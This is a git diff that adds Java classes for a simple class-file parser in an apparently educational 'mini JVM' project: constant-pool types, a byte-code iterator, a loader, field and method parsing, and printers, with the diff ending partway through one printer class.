diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ClassInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..61dcdd9d3f
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ClassInfo.java
@@ -0,0 +1,30 @@
+package com.github.orajavac.coding2017.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	
+	@Override
+	public void accept(Visistor visitor) {
+		visitor.visitClassInfo(this);
+		
+	}
+}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..37055df0a2
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package com.github.orajavac.coding2017.jvm.constant;
+
+public abstract class ConstantInfo {
+	
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visistor visistor);
+	
+	public static interface Visistor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visitUTF8(UTF8Info info);
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantPool.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..304e78f8ba
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantPool.java
@@ -0,0 +1,28 @@
+package com.github.orajavac.coding2017.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/FieldRefInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..c9a06f397d
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,60 @@
+package com.github.orajavac.coding2017.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	
+	@Override
+	public void accept(Visistor visitor) {
+		visitor.visitFieldRef(this);
+		
+	}
+}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/MethodRefInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..6e53f8db5c
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,59 @@
+package com.github.orajavac.coding2017.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	@Override
+	public void accept(Visistor visitor) {
+		visitor.visitMethodRef(this);
+		
+	}
+	
+}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NameAndTypeInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..0f25bb4ef6
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package com.github.orajavac.coding2017.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visistor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NullConstantInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..64eff24eef
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,19 @@
+package com.github.orajavac.coding2017.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+	@Override
+	public void accept(Visistor visitor) {
+		
+		
+	}
+	
+}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/StringInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..2224a46e73
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/StringInfo.java
@@ -0,0 +1,30 @@
+package com.github.orajavac.coding2017.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+	@Override
+	public void accept(Visistor visitor) {
+		visitor.visitString(this);
+	}
+}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/UTF8Info.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..bdceafe0f2
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/UTF8Info.java
@@ -0,0 +1,35 @@
+package com.github.orajavac.coding2017.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	@Override
+	public void accept(Visistor visitor) {
+		visitor.visitUTF8(this);
+	}
+
+}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/field/Field.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/field/Field.java
new file mode 100644
index 0000000000..40c8ad3a2c
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package com.github.orajavac.coding2017.jvm.field;
+
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
+import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ByteCodeIterator.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..9cc6d5d9b9
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,56 @@
+package com.github.orajavac.coding2017.jvm.loader;
+
+import java.util.Arrays;
+
+import com.github.orajavac.coding2017.jvm.util.Util;
+
+public class ByteCodeIterator {
+	
+	private byte[] codes;
+	
+	private int pos;
+	
+	public ByteCodeIterator(byte[] codes){
+		this.codes = codes;
+	}
+	
+	public byte[] getBytes(int len){
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+	
+	public String nextU4ToHexString(){
+		return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+	}
+
+	public int nextU1ToInt(){
+		return Util.byteToInt(new byte[]{codes[pos++]});
+	}
+	
+	public int nextU2ToInt(){
+		return Util.byteToInt(new byte[]{codes[pos++],codes[pos++]});
+	}
+	
+	public int nextU4ToInt(){
+		return Util.byteToInt(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+	}
+	
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileLoader.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..ba0d450054
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,131 @@
+package com.github.orajavac.coding2017.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+
+public class ClassFileLoader {
+	
+private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileParser.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..0cfb131cc3
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileParser.java
@@ -0,0 +1,139 @@
+package com.github.orajavac.coding2017.jvm.loader;
+
+import com.github.orajavac.coding2017.jvm.clz.AccessFlag;
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.clz.ClassIndex;
+import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.constant.FieldRefInfo;
+import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
+import com.github.orajavac.coding2017.jvm.constant.NameAndTypeInfo;
+import com.github.orajavac.coding2017.jvm.constant.NullConstantInfo;
+import com.github.orajavac.coding2017.jvm.constant.StringInfo;
+import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
+import com.github.orajavac.coding2017.jvm.field.Field;
+import com.github.orajavac.coding2017.jvm.method.Method;
+
+public class ClassFileParser {
+	
+	public ClassFile parse(byte[] codes) {
+		ClassFile clzFile = new ClassFile();
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		String magicNumber = iter.nextU4ToHexString();
+		System.out.println("magicNumber="+magicNumber);
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+		clzFile.setMajorVersion(iter.nextU2ToInt());
+		
+		ConstantPool pool = parseConstantPool(iter);
+		clzFile.setConstPool(pool);
+
+		AccessFlag flag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(flag);
+
+		ClassIndex clzIndex = parseClassInfex(iter);
+		clzFile.setClassIndex(clzIndex);
+
+		parseInterfaces(iter);
+		
+		parseFileds(clzFile,iter);
+		
+		parseMethods(clzFile,iter);
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+		return flag;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+
+		ClassIndex clzIndex = new ClassIndex();
+
+		clzIndex.setThisClassIndex(thisClassIndex);
+		clzIndex.setSuperClassIndex(superClassIndex);
+
+		return clzIndex;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		int constPoolCount = iter.nextU2ToInt();
+		System.out.println("Constant Pool Count :"+constPoolCount);
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());
+		for (int i=1;i<constPoolCount-1;i++){
+			int tag = iter.nextU1ToInt();
+			if (tag == 7){	//class info
+				int uft8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(uft8Index);
+				pool.addConstantInfo(clzInfo);
+			}else if (tag == 1){	//utf-8 string
+				int len = iter.nextU2ToInt();
+				byte[] data = iter.getBytes(len);
+				String value = null;
+				try{
+					value = new String(data,"UTF-8");
+				}catch(Exception e){
+					e.printStackTrace();
+				}
+				UTF8Info utf8info = new UTF8Info(pool);
+				utf8info.setLength(len);
+				utf8info.setValue(value);
+				pool.addConstantInfo(utf8info);
+			}else if (tag == 8){
+				StringInfo info = new StringInfo(pool);
+				info.setIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(info);
+			}else if (tag == 9){
+				FieldRefInfo field = new FieldRefInfo(pool);
+				field.setClassInfoIndex(iter.nextU2ToInt());
+				field.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(field);
+			}else if (tag == 10){
+				MethodRefInfo method = new MethodRefInfo(pool);
+				method.setClassInfoIndex(iter.nextU2ToInt());
+				method.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(method);
+			}else if (tag == 12){
+				NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+				nameType.setIndex1(iter.nextU2ToInt());
+				nameType.setIndex2(iter.nextU2ToInt());
+				pool.addConstantInfo(nameType);
+			}else{
+				throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
+			}
+		}
+		System.out.println("Finished reading Constant pool ");
+		return pool;
+	}
+	
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+	
+	private void parseFileds(ClassFile clzFile,ByteCodeIterator iter){
+		int filedCount = iter.nextU2ToInt();
+		System.out.println("Field count:" + filedCount);
+		for (int i=1;i<=filedCount;i++){
+			Field f = Field.parse(clzFile.getConstantPool(), iter);
+			clzFile.addField(f);
+		}
+	}
+	
+	private void parseMethods(ClassFile clzFile,ByteCodeIterator iter){
+		int methodCount = iter.nextU2ToInt();
+		for (int i=1;i<=methodCount;i++){
+			Method m = Method.parse(clzFile, iter);
+			clzFile.addMethod(m);
+		}
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/test.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/test.java
new file mode 100644
index 0000000000..a504858eb3
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/test.java
@@ -0,0 +1,21 @@
+package com.github.orajavac.coding2017.jvm.loader;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+
+public class test {
+
+	/**
+	 * @param args
+	 */
+	public static void main(String[] args) {
+		String path1 = "bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.github.orajavac.coding2017.jvm.test.EmployeeV1";
+		ClassFile clzFile = loader.loadClass(className);
+		
+		System.out.println("getMinorVersion="+clzFile.getMinorVersion());
+		System.out.println("getMajorVersion="+clzFile.getMajorVersion());
+	}
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/method/Method.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/method/Method.java
new file mode 100644
index 0000000000..6f43647396
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/method/Method.java
@@ -0,0 +1,85 @@
+package com.github.orajavac.coding2017.jvm.method;
+
+import com.github.orajavac.coding2017.jvm.attr.AttributeInfo;
+import com.github.orajavac.coding2017.jvm.attr.CodeAttr;
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
+import com.github.orajavac.coding2017.jvm.field.Field;
+import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
+
+public class Method {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		Method m = new Method(clzFile,accessFlag,nameIndex,descIndex);
+		for (int j=1;j<=attribCount;j++){
+			int attrNameIndex = iter.nextU2ToInt();
+			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			iter.back(2);
+			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				m.setCodeAttr(codeAttr);
+			}else{
+				throw new RuntimeException("only CODE attribute is");
+			}
+		}
+		return m;
+		
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ClassFilePrinter.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..c46c21056d
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,53 @@
+package com.github.orajavac.coding2017.jvm.print;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.constant.FieldRefInfo;
+import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
+import com.github.orajavac.coding2017.jvm.constant.NameAndTypeInfo;
+import com.github.orajavac.coding2017.jvm.constant.StringInfo;
+import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
+import com.github.orajavac.coding2017.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ConstantPoolPrinter.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..6c4a3915bd
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,60 @@
+	package com.github.orajavac.coding2017.jvm.print;
+
+import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.constant.FieldRefInfo;
+import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
+import com.github.orajavac.coding2017.jvm.constant.NameAndTypeInfo;
+import com.github.orajavac.coding2017.jvm.constant.StringInfo;
+import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		ConstantInfo.Visistor visistor = new ConstantInfo.Visistor(){
+			public void visitString(StringInfo info){
